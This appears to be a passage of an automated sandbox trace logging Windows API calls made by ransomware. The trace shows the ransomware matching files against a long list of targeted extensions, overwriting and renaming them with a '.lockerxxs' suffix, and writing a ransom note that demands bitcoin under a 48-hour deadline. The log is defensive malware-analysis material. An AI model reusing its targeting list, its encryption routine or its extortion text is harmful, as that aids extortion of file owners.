(x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.raw") returned 0 [0069.875] lstrlenA (lpString="*.raw") returned 5 [0069.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.nef") returned 0 [0069.875] lstrlenA (lpString="*.nef") returned 5 [0069.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.svg") returned 0 [0069.875] lstrlenA (lpString="*.svg") returned 5 [0069.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.psd") returned 0 [0069.875] lstrlenA (lpString="*.psd") returned 5 [0069.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.vmx") returned 0 [0069.875] lstrlenA (lpString="*.vmx") returned 5 [0069.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.vmdk") returned 0 [0069.875] lstrlenA (lpString="*.vmdk") returned 6 [0069.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.vdi") returned 0 [0069.875] lstrlenA (lpString="*.vdi") returned 5 [0069.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.lay6") returned 0 [0069.875] lstrlenA (lpString="*.lay6") returned 6 [0069.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.mpeg") returned 0 [0069.876] lstrlenA (lpString="*.mpeg") returned 6 [0069.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.djvu") returned 0 [0069.876] lstrlenA (lpString="*.djvu") returned 6 [0069.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.tiff") returned 0 [0069.876] lstrlenA (lpString="*.tiff") returned 6 [0069.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.backup") returned 0 [0069.876] lstrlenA (lpString="*.backup") returned 8 [0069.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.pdf") returned 0 [0069.876] lstrlenA (lpString="*.pdf") returned 5 [0069.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.cert") returned 0 [0069.876] lstrlenA (lpString="*.cert") returned 6 [0069.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.docm") returned 0 [0069.876] lstrlenA (lpString="*.docm") returned 6 [0069.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.xlsm") returned 0 [0069.876] lstrlenA (lpString="*.xlsm") returned 6 [0069.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.dwg") returned 0 [0069.876] lstrlenA (lpString="*.dwg") returned 5 [0069.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.nd") returned 0 [0069.876] lstrlenA (lpString="*.nd") returned 4 [0069.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.tlg") returned 0 [0069.876] lstrlenA (lpString="*.tlg") returned 5 [0069.877] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.lgb") returned 0 [0069.877] lstrlenA (lpString="*.lgb") returned 5 [0069.877] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.mov") returned 0 [0069.877] lstrlenA (lpString="*.mov") returned 5 [0069.877] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.xdw") returned 0 [0069.877] lstrlenA (lpString="*.xdw") returned 5 [0069.877] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.ods") returned 0 [0069.877] lstrlenA (lpString="*.ods") returned 5 [0069.877] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.wav") returned 0 [0069.877] lstrlenA (lpString="*.wav") returned 5 [0069.877] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.mp3") returned 0 [0069.877] lstrlenA (lpString="*.mp3") returned 5 [0069.877] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.aiff") returned 0 [0069.877] lstrlenA (lpString="*.aiff") returned 6 [0069.877] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.flac") returned 0 [0069.877] lstrlenA (lpString="*.flac") returned 6 [0069.877] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.m4a") returned 0 [0069.877] lstrlenA (lpString="*.m4a") returned 5 [0069.877] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.csv") returned 0 [0069.878] lstrlenA (lpString="*.csv") returned 5 [0069.878] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ef3, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0069.878] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.878] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0069.878] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0069.878] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0069.878] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini") returned="eula.ini" [0069.878] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\" [0069.878] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\") returned="" [0069.878] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\HOW TO DECRYPT FILES.txt" [0069.878] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\how to decrypt files.txt")) returned 0x20 [0069.878] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html" [0069.878] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.ems") returned 0 [0069.878] lstrlenA (lpString="*.ems") returned 5 [0069.878] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.db") returned 0 [0069.878] lstrlenA (lpString="*.db") returned 4 [0069.879] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.dbf") returned 0 [0069.879] lstrlenA (lpString="*.dbf") returned 5 [0069.879] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.myox") returned 0 [0069.879] lstrlenA (lpString="*.myox") returned 6 [0069.879] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.myo") returned 0 [0069.879] lstrlenA (lpString="*.myo") returned 5 [0069.879] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.qbw") returned 0 [0069.879] lstrlenA (lpString="*.qbw") returned 5 [0069.879] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.qbb") returned 0 [0069.879] lstrlenA (lpString="*.qbb") returned 5 [0069.879] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.qbm") returned 0 [0069.879] lstrlenA (lpString="*.qbm") returned 5 [0069.879] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.qbo") returned 0 [0069.879] lstrlenA (lpString="*.qbo") returned 5 [0069.879] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.qbx") returned 0 [0069.879] lstrlenA (lpString="*.qbx") returned 5 [0069.880] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.qba") returned 0 [0069.880] lstrlenA (lpString="*.qba") returned 5 [0069.880] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.qby") returned 0 [0069.880] lstrlenA (lpString="*.qby") returned 5 [0069.880] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.qbj") returned 0 [0069.880] lstrlenA (lpString="*.qbj") returned 5 [0069.880] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.ofx") returned 0 [0069.880] lstrlenA (lpString="*.ofx") returned 5 [0069.880] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.qif") returned 0 [0069.880] lstrlenA (lpString="*.qif") returned 5 [0069.880] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.mye") returned 0 [0069.880] lstrlenA (lpString="*.mye") returned 5 [0069.880] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.mbox") returned 0 [0069.880] lstrlenA (lpString="*.mbox") returned 6 [0069.880] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.eml") returned 0 [0069.880] lstrlenA (lpString="*.eml") returned 5 [0069.880] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.pst") returned 0 [0069.881] lstrlenA (lpString="*.pst") returned 5 [0069.881] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.ost") returned 0 [0069.881] lstrlenA (lpString="*.ost") returned 5 [0069.881] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.idx") returned 0 [0069.881] lstrlenA (lpString="*.idx") returned 5 [0069.881] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.dbx") returned 0 [0069.881] lstrlenA (lpString="*.dbx") returned 5 [0069.881] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.sql") returned 0 [0069.881] lstrlenA (lpString="*.sql") returned 5 [0069.881] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.mdb") returned 0 [0069.881] lstrlenA (lpString="*.mdb") returned 5 [0069.881] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.fdb") returned 0 [0069.881] lstrlenA (lpString="*.fdb") returned 5 [0069.881] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.wab") returned 0 [0069.881] lstrlenA (lpString="*.wab") returned 5 [0069.881] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.dat") returned 0 [0069.881] lstrlenA (lpString="*.dat") returned 5 [0069.881] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.txt") returned 0 [0069.881] lstrlenA (lpString="*.txt") returned 5 [0069.882] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.jpeg") returned 0 [0069.882] lstrlenA (lpString="*.jpeg") returned 6 [0069.882] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.jpg") returned 0 [0069.882] lstrlenA (lpString="*.jpg") returned 5 [0069.882] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.png") returned 0 [0069.882] lstrlenA (lpString="*.png") returned 5 [0069.882] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.php") returned 0 [0069.882] lstrlenA (lpString="*.php") returned 5 [0069.882] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.cs") returned 0 [0069.882] lstrlenA (lpString="*.cs") returned 4 [0069.882] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.cpp") returned 0 [0069.882] lstrlenA (lpString="*.cpp") returned 5 [0069.882] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.rar") returned 0 [0069.882] lstrlenA (lpString="*.rar") returned 5 [0069.882] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.zip") returned 0 [0069.882] lstrlenA (lpString="*.zip") returned 5 [0069.882] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", pszSpec="*.html") returned 1 [0069.882] lstrlenA (lpString="*.html") returned 6 [0069.882] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html" [0069.882] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html" [0069.882] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html." [0069.883] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html.lockerxxs" [0069.883] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.883] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x11ef3 [0069.883] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81cc37a0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0069.884] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.884] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x11ecd, lpOverlapped=0x0) returned 1 [0069.889] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html") returned="license.html" [0069.889] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.889] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x11ecd, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x11ecd, lpOverlapped=0x0) returned 1 [0069.890] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.890] CloseHandle (hObject=0x94) returned 1 [0069.892] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\license.html.lockerxxs")) returned 1 [0069.893] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ef3, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0069.893] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.893] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="ITA", cAlternateFileName="")) returned 1 [0069.893] lstrcmpA (lpString1=".", lpString2="ITA") returned -1 [0069.893] lstrcmpA (lpString1="..", lpString2="ITA") returned -1 [0069.893] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0069.893] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="ITA" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA" [0069.893] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA") returned 57 [0069.894] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.895] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.895] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0069.895] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.895] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.895] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0069.895] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.895] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0069.895] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0069.896] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0069.896] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*.*") returned="*.*" [0069.896] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\" [0069.896] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\") returned="" [0069.896] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\HOW TO DECRYPT FILES.txt" [0069.896] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\how to decrypt files.txt")) returned 0xffffffff [0069.899] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.900] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.900] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, 